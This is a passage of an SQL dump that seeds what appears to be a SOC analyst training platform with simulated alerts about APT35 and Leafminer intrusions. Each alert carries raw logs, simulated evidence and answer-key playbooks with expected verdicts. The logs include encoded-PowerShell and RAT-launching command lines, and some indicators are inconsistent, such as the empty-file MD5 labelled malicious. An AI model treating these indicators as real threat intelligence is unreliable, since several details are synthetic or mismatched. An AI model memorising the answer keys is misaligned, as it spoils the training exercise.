movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Critical system targeted by lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with previous attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"compromised\",\"details\":\"User account credentials were stolen and used for lateral movement.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"f2c7e3c9d5b6a8e1f8e4d2b3a9c1f7e8\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"File hash related to lateral movement activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1108, 'Data Exfiltration Alert', 'critical', 'Data Loss Prevention (DLP) System', 'APT35 attempts to exfiltrate sensitive aerospace data through encrypted channels to external servers, marking the final stage of their operation.', 'Exfiltration', 'T1041', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T18:45:32Z\",\"src_ip\":\"10.0.1.45\",\"dst_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"src_user\":\"jdoe@aerospacecorp.com\",\"transfer_method\":\"Encrypted Channel\",\"destination_domain\":\"malicious-exfiltration.net\",\"file_name\":\"confidential_aerospace_data.zip\",\"file_hash\":\"3c6e0b8a9c15224a8228b9a98ca1531d\",\"action\":\"Blocked\",\"alert_id\":\"DLP-2023-Exfil-005\",\"detection_system\":\"DLP System v3.2\"}', '2026-01-28 00:08:43', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with APT35 activities.\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"malicious-exfiltration.net\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Domain used by APT35 for data exfiltration.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_aerospace_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file identified in exfiltration attempt.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3c6e0b8a9c15224a8228b9a98ca1531d\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"suspicious\",\"details\":\"Hash of the sensitive file being exfiltrated.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'expert', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.823Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T18:45:32Z\\\",\\\"src_ip\\\":\\\"10.0.1.45\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"src_user\\\":\\\"jdoe@aerospacecorp.com\\\",\\\"transfer_method\\\":\\\"Encrypted Channel\\\",\\\"destination_domain\\\":\\\"malicious-exfiltration.net\\\",\\\"file_name\\\":\\\"confidential_aerospace_data.zip\\\",\\\"file_hash\\\":\\\"3c6e0b8a9c15224a8228b9a98ca1531d\\\",\\\"action\\\":\\\"Blocked\\\",\\\"alert_id\\\":\\\"DLP-2023-Exfil-005\\\",\\\"detection_system\\\":\\\"DLP System v3.2\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.823Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T18:45:32Z\\\",\\\"src_ip\\\":\\\"10.0.1.45\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"src_user\\\":\\\"jdoe@aerospacecorp.com\\\",\\\"transfer_method\\\":\\\"Encrypted Channel\\\",\\\"destination_domain\\\":\\\"malicious-exfiltration.net\\\",\\\"file_name\\\":\\\"confidential_aerospace_data.zip\\\",\\\"file_hash\\\":\\\"3c6e0b8a9c15224a8228b9a98ca1531d\\\",\\\"action\\\":\\\"Blocked\\\",\\\"alert_id\\\":\\\"DLP-2023-Exfil-005\\\",\\\"detection_system\\\":\\\"DLP System v3.2\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.823Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T18:45:32Z\\\",\\\"src_ip\\\":\\\"10.0.1.45\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"src_user\\\":\\\"jdoe@aerospacecorp.com\\\",\\\"transfer_method\\\":\\\"Encrypted Channel\\\",\\\"destination_domain\\\":\\\"malicious-exfiltration.net\\\",\\\"file_name\\\":\\\"confidential_aerospace_data.zip\\\",\\\"file_hash\\\":\\\"3c6e0b8a9c15224a8228b9a98ca1531d\\\",\\\"action\\\":\\\"Blocked\\\",\\\"alert_id\\\":\\\"DLP-2023-Exfil-005\\\",\\\"detection_system\\\":\\\"DLP System v3.2\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.823Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T18:45:32Z\\\",\\\"src_ip\\\":\\\"10.0.1.45\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"src_user\\\":\\\"jdoe@aerospacecorp.com\\\",\\\"transfer_method\\\":\\\"Encrypted Channel\\\",\\\"destination_domain\\\":\\\"malicious-exfiltration.net\\\",\\\"file_name\\\":\\\"confidential_aerospace_data.zip\\\",\\\"file_hash\\\":\\\"3c6e0b8a9c15224a8228b9a98ca1531d\\\",\\\"action\\\":\\\"Blocked\\\",\\\"alert_id\\\":\\\"DLP-2023-Exfil-005\\\",\\\"detection_system\\\":\\\"DLP System v3.2\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.823Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T18:45:32Z\\\",\\\"src_ip\\\":\\\"10.0.1.45\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"src_user\\\":\\\"jdoe@aerospacecorp.com\\\",\\\"transfer_method\\\":\\\"Encrypted Channel\\\",\\\"destination_domain\\\":\\\"malicious-exfiltration.net\\\",\\\"file_name\\\":\\\"confidential_aerospace_data.zip\\\",\\\"file_hash\\\":\\\"3c6e0b8a9c15224a8228b9a98ca1531d\\\",\\\"action\\\":\\\"Blocked\\\",\\\"alert_id\\\":\\\"DLP-2023-Exfil-005\\\",\\\"detection_system\\\":\\\"DLP System v3.2\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1109, 'Initial Access via Phishing Email', 'high', 'Email Gateway Logs', 'Leafminer initiates its attack vector by sending spear-phishing emails to employees in targeted organizations, embedding malicious links that lead to the installation of the Total Commander RAT.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:07Z\",\"email_subject\":\"Urgent: Important Update Required\",\"sender_email\":\"hr_department@trustedcompany.com\",\"recipient_email\":\"john.doe@targetcompany.com\",\"sender_ip\":\"203.0.113.45\",\"recipient_ip\":\"192.168.1.15\",\"malicious_url\":\"http://malicious-update.com/secure\",\"attachment\":\"Update_Your_Security.pdf\",\"attachment_hash\":\"2f4e54b5f6d8e23a1b3c9d4f7a8e5d9c7e6f1b3a4c8f9e0d2f1e4d5b6f7c8e9d\"}', '2026-02-01 13:57:07', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Internal IP of the targeted user\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-update.com/secure\",\"is_critical\":true,\"osint_result\":{\"source\":\"Phishing Database\",\"verdict\":\"malicious\",\"details\":\"URL hosting malicious payload\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"2f4e54b5f6d8e23a1b3c9d4f7a8e5d9c7e6f1b3a4c8f9e0d2f1e4d5b6f7c8e9d\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Registry\",\"verdict\":\"malicious\",\"details\":\"Hash matches Total Commander RAT\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'intermediate', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Phishing Email\",\"date\":\"2026-02-01T20:32:22.825Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1110, 'Execution of Total Commander RAT', 'high', 'Endpoint Detection and Response (EDR)', 'The Total Commander Remote Access Tool (RAT) was executed on an endpoint following the clicking of a malicious link. This has allowed the Leafminer group to potentially execute commands remotely and establish a foothold within the network.', 'Malware Execution', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:37Z\",\"event_type\":\"Malware Execution\",\"host\":{\"hostname\":\"workstation-23\",\"ip\":\"192.168.1.45\"},\"user\":\"jdoe\",\"process\":{\"name\":\"cmd.exe\",\"command_line\":\"C:\\\\Windows\\\\System32\\\\cmd.exe /c start totalcmd.exe\",\"pid\":4567},\"network\":{\"dst_ip\":\"203.0.113.52\",\"dst_port\":443,\"protocol\":\"TCP\"},\"file\":{\"name\":\"totalcmd.exe\",\"path\":\"C:\\\\Users\\\\jdoe\\\\Downloads\\\\totalcmd.exe\",\"hash\":\"e99a18c428cb38d5f260853678922e03\"}}', '2026-02-01 13:57:07', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.52\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Leafminer group.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Total Commander RAT.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"totalcmd.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Downloaded executable file potentially used for remote access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1111, 'Establishing Persistence via Scheduled Tasks', 'high', 'Windows Event Logs', 'To ensure continued access, Leafminer sets up scheduled tasks that persistently re-launch the RAT, even after system reboots. The task was configured using a known malicious binary.', 'Persistence Mechanism', 'T1053.005', 1, 'new', NULL, '{\"EventID\":4698,\"TaskCategory\":\"Scheduled Task Created\",\"ProviderName\":\"Microsoft-Windows-Security-Auditing\",\"TimeCreated\":\"2023-10-20T14:22:15.000Z\",\"EventRecordID\":123456,\"ProcessName\":\"schtasks.exe\",\"UserData\":{\"TaskName\":\"\\\\LeafminerPersistenceTask\",\"TaskContent\":{\"Command\":\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"Arguments\":\"/c C:\\\\Users\\\\Public\\\\leafminer_rat.exe\"}},\"ExecutionInfo\":{\"CreatorUser\":\"compromised_user\",\"CreatorDomain\":\"CORP\"},\"NetworkInfo\":{\"SourceIP\":\"10.0.0.15\",\"AttackerIP\":\"203.0.113.45\"},\"FileHash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"FileName\":\"leafminer_rat.exe\"}', '2026-02-01 13:57:07', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Leafminer RAT binary.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit Logs\",\"verdict\":\"internal\",\"details\":\"User account used for suspicious task creation.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"leafminer_rat.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Lab\",\"verdict\":\"malicious\",\"details\":\"Executable file associated with Leafminer RAT.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.828Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4698,\\\"TaskCategory\\\":\\\"Scheduled Task Created\\\",\\\"ProviderName\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"TimeCreated\\\":\\\"2023-10-20T14:22:15.000Z\\\",\\\"EventRecordID\\\":123456,\\\"ProcessName\\\":\\\"schtasks.exe\\\",\\\"UserData\\\":{\\\"TaskName\\\":\\\"\\\\\\\\LeafminerPersistenceTask\\\",\\\"TaskContent\\\":{\\\"Command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\",\\\"Arguments\\\":\\\"/c C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\leafminer_rat.exe\\\"}},\\\"ExecutionInfo\\\":{\\\"CreatorUser\\\":\\\"compromised_user\\\",\\\"CreatorDomain\\\":\\\"CORP\\\"},\\\"NetworkInfo\\\":{\\\"SourceIP\\\":\\\"10.0.0.15\\\",\\\"AttackerIP\\\":\\\"203.0.113.45\\\"},\\\"FileHash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"FileName\\\":\\\"leafminer_rat.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.828Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4698,\\\"TaskCategory\\\":\\\"Scheduled Task Created\\\",\\\"ProviderName\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"TimeCreated\\\":\\\"2023-10-20T14:22:15.000Z\\\",\\\"EventRecordID\\\":123456,\\\"ProcessName\\\":\\\"schtasks.exe\\\",\\\"UserData\\\":{\\\"TaskName\\\":\\\"\\\\\\\\LeafminerPersistenceTask\\\",\\\"TaskContent\\\":{\\\"Command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\",\\\"Arguments\\\":\\\"/c C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\leafminer_rat.exe\\\"}},\\\"ExecutionInfo\\\":{\\\"CreatorUser\\\":\\\"compromised_user\\\",\\\"CreatorDomain\\\":\\\"CORP\\\"},\\\"NetworkInfo\\\":{\\\"SourceIP\\\":\\\"10.0.0.15\\\",\\\"AttackerIP\\\":\\\"203.0.113.45\\\"},\\\"FileHash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"FileName\\\":\\\"leafminer_rat.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.828Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4698,\\\"TaskCategory\\\":\\\"Scheduled Task Created\\\",\\\"ProviderName\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"TimeCreated\\\":\\\"2023-10-20T14:22:15.000Z\\\",\\\"EventRecordID\\\":123456,\\\"ProcessName\\\":\\\"schtasks.exe\\\",\\\"UserData\\\":{\\\"TaskName\\\":\\\"\\\\\\\\LeafminerPersistenceTask\\\",\\\"TaskContent\\\":{\\\"Command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\",\\\"Arguments\\\":\\\"/c C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\leafminer_rat.exe\\\"}},\\\"ExecutionInfo\\\":{\\\"CreatorUser\\\":\\\"compromised_user\\\",\\\"CreatorDomain\\\":\\\"CORP\\\"},\\\"NetworkInfo\\\":{\\\"SourceIP\\\":\\\"10.0.0.15\\\",\\\"AttackerIP\\\":\\\"203.0.113.45\\\"},\\\"FileHash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"FileName\\\":\\\"leafminer_rat.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.828Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4698,\\\"TaskCategory\\\":\\\"Scheduled Task Created\\\",\\\"ProviderName\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"TimeCreated\\\":\\\"2023-10-20T14:22:15.000Z\\\",\\\"EventRecordID\\\":123456,\\\"ProcessName\\\":\\\"schtasks.exe\\\",\\\"UserData\\\":{\\\"TaskName\\\":\\\"\\\\\\\\LeafminerPersistenceTask\\\",\\\"TaskContent\\\":{\\\"Command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\",\\\"Arguments\\\":\\\"/c C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\leafminer_rat.exe\\\"}},\\\"ExecutionInfo\\\":{\\\"CreatorUser\\\":\\\"compromised_user\\\",\\\"CreatorDomain\\\":\\\"CORP\\\"},\\\"NetworkInfo\\\":{\\\"SourceIP\\\":\\\"10.0.0.15\\\",\\\"AttackerIP\\\":\\\"203.0.113.45\\\"},\\\"FileHash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"FileName\\\":\\\"leafminer_rat.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.828Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"EventID\\\":4698,\\\"TaskCategory\\\":\\\"Scheduled Task Created\\\",\\\"ProviderName\\\":\\\"Microsoft-Windows-Security-Auditing\\\",\\\"TimeCreated\\\":\\\"2023-10-20T14:22:15.000Z\\\",\\\"EventRecordID\\\":123456,\\\"ProcessName\\\":\\\"schtasks.exe\\\",\\\"UserData\\\":{\\\"TaskName\\\":\\\"\\\\\\\\LeafminerPersistenceTask\\\",\\\"TaskContent\\\":{\\\"Command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\",\\\"Arguments\\\":\\\"/c C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\leafminer_rat.exe\\\"}},\\\"ExecutionInfo\\\":{\\\"CreatorUser\\\":\\\"compromised_user\\\",\\\"CreatorDomain\\\":\\\"CORP\\\"},\\\"NetworkInfo\\\":{\\\"SourceIP\\\":\\\"10.0.0.15\\\",\\\"AttackerIP\\\":\\\"203.0.113.45\\\"},\\\"FileHash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"FileName\\\":\\\"leafminer_rat.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1112, 'Lateral Movement with Stolen Credentials', 'high', 'Active Directory Logs', 'Leafminer utilized stolen credentials to move laterally across the network, accessing sensitive resources and attempting to escalate privileges.', 'Credential Access', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"event_id\":4624,\"logon_type\":3,\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"username\":\"jdoe\",\"domain\":\"CORP\",\"logon_process\":\"NtLmSsp\",\"authentication_package\":\"NTLM\",\"logon_status\":\"0x0\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"malicious.dll\"}', '2026-02-01 13:57:07', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Company internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Unusual login pattern detected\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"malicious.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"DLL used in lateral movement attempts\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(1113, 'Exfiltration via Dropbox C2 Channel', 'high', 'Network Traffic Analysis', 'Leafminer group detected exfiltrating sensitive data using Dropbox as a C2 channel. This communication was disguised to appear legitimate, but analysis revealed indicators consistent with malicious activity.', 'Data Exfiltration', 'T1030: Data Transfer Size Limits', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"src_ip\":\"10.0.0.45\",\"dest_ip\":\"198.51.100.23\",\"src_port\":\"44567\",\"dest_port\":\"443\",\"protocol\":\"HTTPS\",\"filename\":\"confidential_data_backup.zip\",\"file_hash\":\"6c1b2f3e4d5a678b9c0d123456789abc\",\"user\":\"jdoe\",\"action\":\"upload\",\"application\":\"Dropbox\",\"http_host\":\"api.dropboxapi.com\",\"user_agent\":\"DropboxClient/123.45.6\"}', '2026-02-01 13:57:07', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_records\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for communication.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Leafminer activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_data_backup.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"File matches naming patterns of exfiltrated data.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"6c1b2f3e4d5a678b9c0d123456789abc\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known exfiltrated payload.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_records\",\"verdict\":\"internal\",\"details\":\"Internal user account involved in the incident.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True 